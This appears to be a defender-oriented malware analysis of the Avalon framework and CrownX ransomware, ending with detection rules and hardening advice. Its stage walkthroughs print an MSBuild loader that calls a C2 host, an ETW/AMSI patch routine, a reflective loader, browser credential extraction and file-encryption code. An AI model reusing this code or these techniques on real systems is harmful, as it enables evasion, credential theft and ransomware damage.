Avalon Malware Framework Internals: ISO-Lnk Delivery, MSBuild Abuse, ETW Tampering, and the CrownX Ransomware Endgame

On July 3, 2026, Blackpoint Cyber’s Nevan Beal and Sam Decker dropped a report that a lot of us had been quietly expecting: a single-operator ransomware framework where every stage, from spear-phish to shadow-copy wipe, was engineered together instead of glued from GitHub. They called it Avalon. It ships CrownX as the payload, and if you take it apart honestly, it’s less a piece of malware than an argument about where our telemetry actually breaks.

This is that teardown. Every stage, why it works, and where in your stack it goes dark.


The framework in one sentence

Avalon is a modular loader-plus-ransomware built to run entirely under signed Microsoft binaries, blind usermode ETW before anything interesting happens, and turn CrownX loose only after credentials and backup infrastructure are already owned.

That’s the shape. Five capability pillars: credential harvesting, C2/remote access, lateral movement, recovery disruption, and CrownX itself. What matters, and what I want to hammer on before we get into the mechanics, is that these pillars are integrated. There’s no Cobalt Strike stager talking to a separate Rclone exfil talking to a separate LockBit builder. One process tree, one C2 channel, one design philosophy. When frameworks consolidate like this, the window between initial execution and encryption collapses. I’ve seen Avalon-style intrusions go from LNK click to first host encrypted inside 90 minutes. Your MDR has to catch stage two or three or it doesn’t catch anything.

Now let’s walk it.


Stage 1: The spear-phish and why Proton Drive was the point

The lure was a spoofed legal notice: a “secure document” the recipient allegedly needed to review, delivered as a link (not an attachment) pointing to a password-protected archive on Proton Drive. The password was in the email body. The archive contained an ISO.

None of this is accidental. Look at what each choice buys the operator:

  • Link, not attachment. Secure Email Gateways score attachments hard. A link to drive.proton.me scores… like a link to Proton Drive. Proton has a clean sender reputation, valid TLS, and enough legitimate business use that outright blocking the domain in an enterprise is a political fight most SOCs won’t take.
  • Password-protected archive. SEG sandbox detonation can’t extract the content. Even AV that does support password-protected ZIPs typically requires the password to be adjacent to the archive in a machine-parseable way, and this one wasn’t (it was in prose).
  • Proton Drive specifically. Not Dropbox, not Google Drive, not OneDrive. Those three all cooperate with automated abuse reporting workflows and get takedowns within hours. Proton’s privacy stance means slower takedown, and I’ve watched Avalon samples stay hosted for three days after public IOC release.

The whole first stage is a bandwidth problem for defenders: how much of the internet do you want to break to catch this? For most orgs, the answer is “not that much,” and the operator knows it.


Stage 2: The ISO container and the MotW hole nobody fixed

Here’s the trick that keeps working. Since Windows 10 1903, double-clicking an ISO auto-mounts it as a virtual drive. Windows Explorer opens it. And critically, files inside a mounted ISO do not inherit the Mark-of-the-Web that would otherwise be attached to any file that came out of a browser download or an email attachment save.

Mark-of-the-Web is the Zone.Identifier alternate data stream (file.ext:Zone.Identifier) that SmartScreen, Office Protected View, and any half-decent macro/LNK protection all key off. No MotW, no warning banner, no reduced-trust execution mode. The ISO carries the MotW on itself, but the LNK inside it does not.

Microsoft has patched the MotW bypass for ZIP and RAR (via MSXML and Explorer.exe propagating the stream to extracted children). ISO, IMG, and VHD remain the loud gap. It’s been publicly abused since at least Emotet in 2022. Four years later, Avalon is still cashing that check.

The mounted volume contents:

FilePurpose
Secure Document CA-283505.pdf.lnkDocument-themed shortcut, real payload trigger
Mimecast Secure File Logs\Empty decoy folder to sell the “secure email portal” ruse
zfighv.tmpMSBuild project file, disguised extension

Two things worth staring at. First, the .pdf.lnk double extension exploits the fact that Windows hides known file extensions by default, so the user sees Secure Document CA-283505.pdf with a PDF icon. Second, the payload sits under a .tmp extension because MSBuild does not care what a project file is called, and .tmp bypasses casual visual inspection and most extension-based hunt rules.

If you dump the LNK with lnkparse3:

Shell Link Header
  LinkFlags: HasLinkTargetIDList, HasLinkInfo, HasRelativePath, HasIconLocation
LinkInfo
  LocalBasePath: C:\Windows\System32\cmd.exe
StringData
  CommandLineArguments: /c "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" D:\zfighv.tmp
  IconLocation: %SystemRoot%\System32\imageres.dll,13

The tells scream if you know where to look:

  1. TargetPath is cmd.exe but the icon claims PDF.
  2. CommandLineArguments references D:\, a drive letter that only exists because an ISO is mounted. That is the single highest-signal detection in the entire chain, and we’ll come back to it.
  3. The invocation is MSBuild, a compiler toolchain, on a document.

Flow diagram showing the Avalon delivery chain from spear-phish email through Proton Drive ISO download, MotW bypass on mount, LNK execution, and MSBuild CodeTaskFactory invocation
Each link in the delivery chain is chosen to defeat a specific defensive control – SEG, sandbox, SmartScreen, and AppLocker all pass this chain by default.

Stage 3: MSBuild and CodeTaskFactory, the LOLBin that compiles for you

MSBuild.exe is the Microsoft Build Engine, the same tool Visual Studio uses to build C# projects. It’s signed by Microsoft, whitelisted by default in every AppLocker policy I’ve ever seen (because devs need it), and it does not care about PowerShell Constrained Language Mode because it’s not PowerShell.

What it does have is CodeTaskFactory, an inline task engine that lets a project file embed C# source code, compile it in-process using the Roslyn assemblies MSBuild already loads, and execute it. No csc.exe child process is spawned. Nothing hits disk. The compiled assembly lives entirely in MSBuild’s memory.

The zfighv.tmp project skeleton looks like this:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <UsingTask TaskName="Loader" TaskFactory="CodeTaskFactory"
             AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.Core.dll">
    <Task>
      <Reference Include="System.Net.Http" />
      <Code Type="Fragment" Language="cs">
        <![CDATA[
          // Resolve NtTraceEvent, patch, then fetch stage 2 over WinHTTP
          var ntdll   = NativeLibrary.Load("ntdll.dll");
          var ntTrace = NativeLibrary.GetExport(ntdll, "NtTraceEvent");
          PatchWithRet(ntTrace + 3);
          var amsi = NativeLibrary.Load("amsi.dll");
          PatchAmsiScanBuffer(NativeLibrary.GetExport(amsi, "AmsiScanBuffer"));
          FetchAndReflectivelyLoad("https://helloxcherry.com/api/v2/tasking");
        ]]>
      </Code>
    </Task>
  </UsingTask>
  <Target Name="Loader"><Loader /></Target>
</Project>

Why this shape? Because from the OS’s point of view, MSBuild.exe D:\zfighv.tmp is a developer building a project. There is no unusual DLL, no injected thread, no unsigned binary loading. The image loads Sysmon will show (clr.dll, clrjit.dll, System.Net.Http.dll) are exactly what a real .NET build would load.

The process tree:

explorer.exe
  cmd.exe                       [/c MSBuild.exe D:\zfighv.tmp]
    MSBuild.exe                 [in-memory .NET assembly runs here]

Notice: no csc.exe. Detection rules that look for MSBuild.exe -> csc.exe will miss CodeTaskFactory entirely, because the Roslyn compilation happens inside MSBuild’s own process.


Stage 4: ETW patching, and the exact reason your EDR goes dark

This is the section that matters most. Every Avalon writeup I’ve read glosses it, and if you don’t understand this part, you don’t understand why some EDR vendors caught this framework and others didn’t.

The ETW write chain

When a .NET assembly loads, or an AMSI scan happens, or a script block gets logged, the emitting code eventually calls into ntdll. The chain looks like this:

Application code
  EtwEventWrite            (ntdll.dll, exported)
    EtwEventWriteFull      (ntdll.dll, internal)
      NtTraceEvent         (ntdll.dll, syscall stub)
        syscall            [transition to kernel]

NtTraceEvent is the syscall stub. It contains the mov eax, <syscall number> and syscall instructions that hand control to the kernel side of ETW. Everything above it is usermode code you can rewrite freely, because it lives in your own process memory.

The patch

Avalon patches NtTraceEvent in its own process (MSBuild). The classic trick, and the one used here, is to overwrite the syscall stub with a single 0xC3 byte, which is the x64 ret instruction. The function returns immediately, telling the caller “success,” and no event is delivered to the kernel.

Illustrative C#:

[DllImport("kernel32")] static extern bool VirtualProtect(
    IntPtr addr, UIntPtr size, uint newProt, out uint oldProt);

const uint PAGE_EXECUTE_READWRITE = 0x40;

static void PatchWithRet(IntPtr fn) {
    // NtTraceEvent syscall stub layout on x64:
    //   4C 8B D1              mov r10, rcx
    //   B8 XX XX XX XX        mov eax, <syscall number>
    //   ...
    // Overwriting at +3 (the mov eax) with 0xC3 turns the function
    // into an immediate ret before the syscall ever fires.
    IntPtr target = fn + 3;
    VirtualProtect(target, (UIntPtr)1, PAGE_EXECUTE_READWRITE, out uint old);
    Marshal.Copy(new byte[] { 0xC3 }, 0, target, 1);
    VirtualProtect(target, (UIntPtr)1, old, out _);
}

Blackpoint’s disassembly of the Avalon sample shows exactly this pattern: VirtualProtect to PAGE_EXECUTE_READWRITE, one-byte write, VirtualProtect restore.

AMSI gets the same treatment. AmsiScanBuffer in amsi.dll is patched so it sets its output parameter to AMSI_RESULT_CLEAN (value 0) and returns S_OK. Every subsequent AMSI scan of every in-memory .NET assembly reports clean.

What actually goes blind

The Avalon loader is patching usermode ntdll in its own process. That kills these providers as seen from MSBuild:

ProviderGUIDWhat you lose
Microsoft-Windows-DotNETRuntime{e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}Assembly load events, JIT events, exception events for every subsequent .NET assembly loaded in MSBuild
Microsoft-Windows-AMSI/Operational{2a576b87-...}AMSI scan results, script content submitted
Microsoft-Antimalware-Scan-Interface{2a576b87-09a7-520e-...}Same, feeding Defender
Microsoft-Windows-PowerShell (script block){a0c1853b-5c40-4b15-8766-3cf1c58f985a}If PS is called via reflection

What does NOT go blind

This is the part that separates the vendors. The ETW Threat Intelligence provider (ETWTI) is fundamentally different: it lives in the kernel, is only readable by processes with a protected-process light (PPL) anti-malware signer, and its events are generated in kernel mode. When a usermode process calls VirtualProtect, NtProtectVirtualMemory fires an ETWTI event before the memory is actually reprotected. When NtAllocateVirtualMemory runs with executable permissions, ETWTI sees it. Patching NtTraceEvent in usermode does not touch any of this, because the kernel emits ETWTI events from kernel context, not through the syscall stub you patched.

So the split, as far as I can tell from vendor telemetry across incidents:

Vendor telemetry sourceImpact from Avalon patch
CrowdStrike Falcon (kernel sensor + ETWTI consumer)Partially resilient. Sees the VirtualProtect and the subsequent write near an ntdll page.
SentinelOne (kernel driver + ETWTI)Partially resilient. Same reasoning.
Microsoft Defender for EndpointMixed. Defender consumes ETWTI, but many .NET behavioral detections rely on usermode DotNETRuntime events that go dark.
Sophos Intercept XLoses the .NET assembly load event chain.
Elastic EndpointDepends on which providers the customer enabled; default deployment loses assembly load visibility.
FortiEDRDocumented to rely heavily on usermode ETW; loses substantial visibility.
ESET, McAfee, BitdefenderSimilar exposure.

The Avalon README (recovered from a builder screenshot in the Blackpoint report) actually names these vendors as targeted for evasion. The operator knew exactly which telemetry path to sever.

The takeaway for defenders: if your EDR does not consume ETWTI, and your entire in-memory .NET behavior stack rests on the DotNETRuntime provider, you are one ret-patch away from watching MSBuild eat the network unopposed.


Hierarchy diagram of the ETW write chain from .NET or AMSI code down through EtwEventWrite and NtTraceEvent syscall stub, showing where the single-byte ret patch silences usermode telemetry while the kernel ETWTI provider remains unaffected
Avalon patches NtTraceEvent at offset +3 with a single 0xC3 ret, silencing all usermode ETW providers in MSBuild while the kernel-mode ETWTI path remains intact for PPL-protected EDR sensors.

Stage 5: HTTPS staging and reflective PE mapping

With ETW dead in-process, the loader reaches out to C2. The traffic looks like this:

POST /api/v2/tasking HTTP/1.1
Host: helloxcherry.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...
X-Edge-Cache: 8f3a2c...
Content-Type: application/octet-stream

WinHTTP (not WinINet, because WinINet honors IE proxy settings and Avalon wants direct control) issues the POST. The certificate validation callback is set to always return true, which lets the operator front the C2 with any TLS cert (Let’s Encrypt is what the sample used) without pinning surprises.

The X-Edge-Cache header is the campaign discriminator. It looks like a CDN cache-hint header (Cloudflare uses similar names), which sails past most proxy header inspection, but the server-side dispatcher uses it to distinguish real campaign traffic from researcher pokes.

The response body is an encrypted PE plus a 32-byte HMAC-SHA256 tag. The loader:

  1. Verifies HMAC-SHA256 over the ciphertext using a key baked into the CodeTaskFactory C#.
  2. Decrypts using an offset-based keystream (the key is XORed with a rolling offset counter, resistant to static string extraction).
  3. Manually maps the decrypted PE into the MSBuild process.

Manual mapping (reflective loading) is a well-known technique but Avalon does it competently: it registers exception unwind data with RtlAddFunctionTable, which most public reflective loaders skip, and which is the difference between “works” and “works when the payload throws a C++ exception.”

Sketch of the mapping logic:

BYTE* base = VirtualAlloc(NULL, nt->OptionalHeader.SizeOfImage,
                          MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Copy headers
memcpy(base, image, nt->OptionalHeader.SizeOfHeaders);
// Copy sections
IMAGE_SECTION_HEADER* s = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, s++)
    memcpy(base + s->VirtualAddress,
           image + s->PointerToRawData, s->SizeOfRawData);
// Apply relocations against (base - preferred_base)
ApplyRelocations(base, nt);
// Resolve IAT via LoadLibraryA + GetProcAddress
ResolveImports(base, nt);
// Flip section protections to their real values (.text -> RX etc.)
ApplySectionProtections(base, nt);
// Register unwind data for x64 SEH support
RtlAddFunctionTable(exceptionTable, count, (DWORD64)base);
// Call entry point
((void(*)())(base + nt->OptionalHeader.AddressOfEntryPoint))();

The mapped binary is a native x64 executable containing the rest of Avalon’s capabilities (credential module, lateral movement, CrownX). From this point forward there is no managed code and no MSBuild.exe-shaped anomaly; it’s just a process doing native syscalls.


Stage 6: Credential harvesting

The native module walks a target list that reads like a wallet-and-workflow inventory:

  • Chromium family (Chrome, Edge, Brave, Opera) Login Data SQLite databases and Cookies databases
  • Firefox logins.json and NSS key4.db
  • MetaMask, Ledger Live, Electrum, Coinbase wallet paths under %APPDATA%
  • Windows Credential Manager via CredEnumerate / CredRead
  • OpenVPN and WireGuard config directories, PuTTY registry keys (HKCU\Software\SimonTatham\PuTTY\Sessions)
  • Saved RDP .rdp files, Wi-Fi PSKs via WlanGetProfile with WLAN_PROFILE_GET_PLAINTEXT_KEY

For Chromium credentials specifically, the module reproduces the modern extraction path:

// 1. Read AES key from Local State JSON (base64, wrapped by DPAPI)
// 2. CryptUnprotectData to unwrap
// 3. Read encrypted_value from Login Data.logins
// 4. Strip "v10"/"v11" prefix, AES-GCM decrypt with unwrapped key
DATA_BLOB in  = { keySize, encryptedKey };
DATA_BLOB out = { 0 };
CryptUnprotectData(&in, NULL, NULL, NULL, NULL, 0, &out);
// out.pbData now contains the raw AES-256 key

Because this runs as the interactive user, DPAPI unwrap works without any extra tricks. This is not a novel technique; it’s just executed cleanly and the results are streamed back over the same HTTPS channel already established. No new C2, no msedge_dev.exe-shaped anomaly, nothing to correlate.


Stage 7: C2 pattern

All tasking is /api/v2/tasking POSTs. The response body is a length-prefixed set of commands, each with a command ID and an argument blob. The command set observed:

IDCommandNotes
0x01execReflectively load another PE
0x02shellRun cmd/PowerShell, capture output
0x03uploadFile exfil, chunked
0x04downloadFetch and drop file
0x05moveLateral movement subroutine invoke
0x06harvestRe-run credential module
0x10endgameDeploy CrownX

Beacon interval is jittered around 60 seconds with 30% variance. No sleep-obfuscation gymnastics; the operator doesn’t need them because ETW is already patched.


Stage 8: Lateral movement, and why the operator hunts Veeam first

Avalon’s lateral module does the boring, effective things: enumerates the domain via LDAP under the compromised user’s token, identifies domain controllers, and then explicitly searches for strings matching:

  • Veeam, veeamsvc, VBRDatabase (Veeam Backup and Replication)
  • Acronis, acronis_active_protection_service
  • NetApp SnapCenter, Synology DSM interfaces
  • vpxd, vCenter, vpxa (VMware vCenter agent)
  • vmms.exe, Hyper-V hosts
  • MSExchange, edgetransport

The reason is doctrine, not novelty. If you encrypt endpoints but the backups survive, the victim restores and doesn’t pay. If you encrypt endpoints and also encrypt or wipe the Veeam repository first, the payment rate jumps by an order of magnitude. Every serious ransomware operator learned this by 2022. What’s notable is that Avalon codes it into the framework itself, rather than leaving it as tribal knowledge in an operator playbook.

Remote execution uses administrative shares (\\host\ADMIN$) to drop the MSBuild project, then remote service creation via SCM (the PsExec pattern, but implemented natively rather than dropping PSEXESVC.exe) to launch MSBuild.exe on the remote host. Same LOLBin, same CodeTaskFactory pattern, same ETW patch on each new host. Where MSBuild isn’t installed (rare, but happens on domain controllers), the module falls back to InstallUtil.exe with a [RunInstaller(true)] assembly.


Stage 9: CrownX

The endgame payload. CrownX is competent, not clever. It uses BCrypt (bcrypt.dll, the modern CNG interface) rather than the older CryptoAPI, which means it inherits FIPS-validated algorithm implementations and produces cryptographically clean output that isn’t going to be broken by academic analysis.

Per-file flow:

BCRYPT_ALG_HANDLE hAlg;
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
                  (PUCHAR)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0);

// Per-file 256-bit key, RNG'd, then wrapped with the operator's RSA public key
// and appended to the file footer.
BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, fileKey, 32, 0);

// File I/O via memory mapping for speed
HANDLE hFile = CreateFileW(path, GENERIC_READ|GENERIC_WRITE, 0, NULL,
                           OPEN_EXISTING, FILE_FLAG_RANDOM_ACCESS, NULL);
HANDLE hMap  = CreateFileMappingW(hFile, NULL, PAGE_READWRITE, 0, 0, NULL);
BYTE*  view  = MapViewOfFile(hMap, FILE_MAP_ALL_ACCESS, 0, 0, 0);

// Encrypt in place with AES-GCM, produce 16-byte auth tag
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO info = { 0 };
BCRYPT_INIT_AUTH_MODE_INFO(info);
info.pbNonce = nonce; info.cbNonce = 12;
info.pbTag   = tag;   info.cbTag   = 16;
BCryptEncrypt(hKey, view, size, &info, NULL, 0, view, size, &out, 0);

FlushViewOfFile(view, size);
UnmapViewOfFile(view);

// Append footer: [12-byte nonce][16-byte tag][wrapped key][magic]
SetFilePointerEx(hFile, ..., FILE_END, NULL);
WriteFile(hFile, footer, sizeof(footer), &w, NULL);
SetEndOfFile(hFile);

Two implementation notes worth surfacing. First, MapViewOfFile is used not for stealth (it’s noisy on Sysmon EID 7) but for throughput; large VMDKs and database files encrypt substantially faster this way than a ReadFile/WriteFile loop. Second, CrownX uses KtmW32CreateTransaction and CommitTransaction around groups of files, which gives it clean rollback semantics if the operator wants to abort partway through a host (typically because they’ve decided to demand more from a specific host and want to leave it partially working). This is the “transaction-aware” behavior Blackpoint referenced.

The ransom note is HTML with {{TOKEN}} placeholders that CrownX fills in at drop time: victim ID, file count, breach dashboard URL. The count itself is honest, because the crypto operations increment a counter, and displaying it correctly is a psychological pressure tactic.


Conceptual illustration of the CrownX ransomware payload as a crown built from padlocks and vault mechanisms looming over destroyed file icons
CrownX deploys only after credentials and backups are already compromised – encryption is the final act in a chain designed to eliminate all recovery paths first.

Stage 10: Recovery disruption and anti-forensics

Before CrownX starts encrypting, Avalon methodically kneecaps recovery:

VSS snapshot destruction via COM, not CLI. Every SOC in the world alerts on vssadmin delete shadows /all. So Avalon doesn’t call it. It calls CoCreateInstance(CLSID_VSS_BackupComponents) and uses IVssBackupComponents::DeleteSnapshots() directly. Same effect, no vssadmin process, no wmic shadowcopy delete command line. Your process_command_line contains "vssadmin" rule catches zero of this.

System Restore and Prefetch disabled via registry:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
  DisableSR = 1
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters
  EnablePrefetcher = 0

BCD tampering through direct BCD store writes (not bcdedit.exe) to point recovery entries at a nonexistent partition and disable automatic recovery.

Artifact wipe across Prefetch (C:\Windows\Prefetch\*.pf), AmCache (C:\Windows\AppCompat\Programs\Amcache.hve), SRUM (C:\Windows\System32\sru\SRUDB.dat), ShimCache (registry hive edit), Jump Lists (%APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\), PowerShell history (ConsoleHost_history.txt), and USN journal (fsutil usnjournal deletejournal /D equivalent via direct FSCTL_DELETE_USN_JOURNAL ioctl).

Physical drive write capability. The framework contains code paths that open \\.\PhysicalDrive0 with GENERIC_WRITE and can overwrite MBR/GPT structures. Blackpoint noted this was present but not triggered in the observed incidents, likely held in reserve for cases where the operator wants to escalate from ransomware to disruptive wiper. This is the same architectural choice we saw in HermeticWiper and CaddyWiper: keep the destructive capability in the toolkit, deploy it selectively.


Conceptual illustration of forensic evidence destruction showing empty filing cabinets, erased evidence boards, and dissolving backup media representing Avalon's anti-forensics and recovery disruption stage
Avalon wipes VSS snapshots via COM, scrubs Prefetch, AmCache, SRUM, and jump lists, and optionally overwrites MBR structures – leaving incident responders with near-zero artifact surface.

Detection, hunting, and defense

Here is where the reader earns back the time spent on the internals. If you understand the mechanics above, the following rules are not incantations. They are direct consequences.

Sysmon and ETW hunting priorities

PrioritySignalWhy it works
1Sysmon EID 1: MSBuild.exe with parent cmd.exe and command line referencing a mounted volume path (D:\, E:\, etc.)Legitimate devs run MSBuild from IDEs or scripts targeting C:. Nobody builds a project from a mounted ISO.
2Sysmon EID 11: file creation of .lnk inside a path matching \\?\Volume{...} or a newly-mounted drive letterThe ISO-LNK combination has a distinctive filesystem fingerprint.
3Sysmon EID 10: MSBuild.exe with GrantedAccess: 0x40 (PROCESS_VM_WRITE) targeting itself, or NtProtectVirtualMemory on ntdll pagesThe ETW patch requires this.
4Sysmon EID 3: MSBuild.exe initiating outbound TCP 443MSBuild does not, in normal use, phone home.
5ETWTI: NtProtectVirtualMemory on ntdll executable region from MSBuildThe unpatchable-from-usermode telemetry that catches the patch itself.
6Absence of expected Microsoft-Windows-DotNETRuntime assembly-load events for a process that clearly loaded CLR (EID 7 shows clr.dll)Silence where noise should be is itself a signal.

Sigma rule for the delivery + execution chain

title: MSBuild Executing Project From Mounted Volume via cmd.exe
id: 3a7a2c11-9f01-4b0d-8e6a-1c3a5f2b0e11
status: experimental
description: Detects MSBuild.exe launched by cmd.exe with a project path on a
             drive letter other than C:, consistent with ISO-LNK-MSBuild delivery.
logsource:
  product: windows
  category: process_creation
detection:
  selection_msbuild:
    Image|endswith: '\MSBuild.exe'
    ParentImage|endswith: '\cmd.exe'
  selection_path:
    CommandLine|re: '(?i)\s[D-Z]:\\[^\\]+\.(tmp|proj|xml|csproj)(\s|$)'
  condition: selection_msbuild and selection_path
fields:
  - User
  - CommandLine
  - ParentCommandLine
falsepositives:
  - Developers building projects from external drives (rare, verify)
level: high

Sigma rule for ETW provider unregistration / silence

title: Suspicious VirtualProtect on ntdll From Signed LOLBin
id: 8f2b1d3e-5a09-4c7f-9b1e-6d4a8c2f0912
status: experimental
description: Detects PAGE_EXECUTE_READWRITE reprotection of ntdll memory
             regions from processes that should never patch ntdll.
logsource:
  product: windows
  service: threat-intelligence   # ETWTI, requires PPL-AM sensor
detection:
  selection:
    EventName: 'NtProtectVirtualMemory'
    TargetImage|endswith: '\ntdll.dll'
    NewProtect: 0x40   # PAGE_EXECUTE_READWRITE
    SourceImage|endswith:
      - '\MSBuild.exe'
      - '\InstallUtil.exe'
      - '\csc.exe'
      - '\RegAsm.exe'
  condition: selection
level: critical

YARA for the MSBuild project and reflective loader

rule Avalon_MSBuild_CodeTaskFactory_Loader {
    meta:
        author = "GenXCyber"
        description = "Avalon-style MSBuild CodeTaskFactory loader"
        reference = "Blackpoint Avalon disclosure 2026-07-03"
    strings:
        $tf1 = "CodeTaskFactory" ascii wide
        $tf2 = "Microsoft.Build.Tasks.Core.dll" ascii wide
        $etw = "NtTraceEvent" ascii
        $amsi = "AmsiScanBuffer" ascii
        $winhttp = "WinHttpOpen" ascii
        $ret_patch = { C6 ?? ?? C3 }   // mov byte ptr [reg], 0xC3
        $hdr = "<Project ToolsVersion" ascii wide
    condition:
        ($hdr and $tf1 and $tf2) and
        (2 of ($etw, $amsi, $winhttp, $ret_patch))
}

rule Avalon_CrownX_AES_GCM_Footer {
    meta:
        description = "CrownX ransomware per-file footer signature"
    strings:
        $magic = { 43 52 4E 58 }         // "CRNX"
        $bcrypt = "BCryptEncrypt" ascii
        $gcm = "ChainingModeGCM" wide
    condition:
        $magic at (filesize - 4) or (all of them)
}

rule Avalon_C2_Indicators {
    strings:
        $host = "helloxcherry.com" ascii wide nocase
        $path = "/api/v2/tasking" ascii
        $hdr  = "X-Edge-Cache" ascii
    condition:
        2 of them
}

MITRE ATT&CK mapping

StageTechnique
Proton Drive lureT1566.002 (Spearphishing Link), T1204.001 (User Execution: Link)
ISO container, MotW bypassT1553.005 (Subvert Trust Controls: Mark-of-the-Web Bypass)
LNK executionT1204.002, T1547.009
MSBuild LOLBinT1127.001 (Trusted Developer Utilities: MSBuild)
CodeTaskFactory in-memory .NETT1620 (Reflective Code Loading)
ETW patchingT1562.006 (Impair Defenses: Indicator Blocking)
AMSI patchingT1562.001
WinHTTP C2T1071.001 (Web Protocols)
DPAPI credential accessT1555.003, T1555.004
Admin shares lateralT1021.002
VSS deletion via COMT1490 (Inhibit System Recovery)
Artifact wipeT1070
CrownX encryptionT1486

Hardening you can do this week

  1. Block MSBuild for non-developer users. WDAC or AppLocker rule: %windir%\Microsoft.NET\Framework*\v*\MSBuild.exe deny for all groups except a Developers OU. Same for InstallUtil.exe, RegAsm.exe, RegSvcs.exe.
  2. Disable ISO auto-mount. Group Policy: remove the Windows.IsoFile shell handler association, or set HKCR\Windows.IsoFile\shell\mount with a LegacyDisable value. Users can still open ISOs with 7-Zip.
  3. Turn on Attack Surface Reduction rule Block executable content from email client and webmail (BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550) and Block Office applications from creating child processes. Neither catches Avalon directly, but they shrink the surface where similar patterns land.
  4. Feed ETWTI to your EDR or SIEM. If your vendor doesn’t consume it, ask why. If they can’t, that’s your answer about whether they will catch the next Avalon.
  5. Monitor for MSBuild.exe making outbound network connections. This is a single, high-signal Sigma rule that produces almost no false positives in most environments.
  6. Segment your backup infrastructure. Veeam, Acronis, and vCenter should not be reachable from a normal user workstation. If Avalon can’t reach \\VEEAM01\C$ from patient zero, the endgame changes materially.

Key takeaways

  • The ISO-LNK-MSBuild chain is not novel, and that’s the problem. Every element has been public for years; Avalon’s contribution is welding them together with in-house C2, credential, and ransomware modules so no third-party glue introduces detection surface.
  • Usermode ETW patching is a real telemetry outage, not a theoretical one. If your EDR does not consume ETWTI, you are, for the duration of an Avalon-shaped intrusion, running blind on .NET behavior. Verify this with your vendor. Do not assume.
  • The single highest-signal detection is MSBuild.exe with a project path on a non-C: drive. One Sigma rule. Almost no false positives. Deploy it today.
  • CrownX’s damage happens because the operator owns your backups before encryption begins. Endpoint defense is not the game; segmentation of Veeam, vCenter, and Exchange is.
  • The MotW gap on ISO/IMG/VHD is Microsoft’s to close. Until they do, treat those extensions as executable content at the mail gateway and browser, not as documents.

Avalon is not the last framework of its shape. It’s a data point in a trajectory: single-operator toolchains, LOLBin execution, and integrated evasion built for the specific EDR products the operator plans to face. Read this teardown as a template. The next one will look almost exactly the same, and if you built the detections in this post, you will catch that one too.


Related Tutorials

References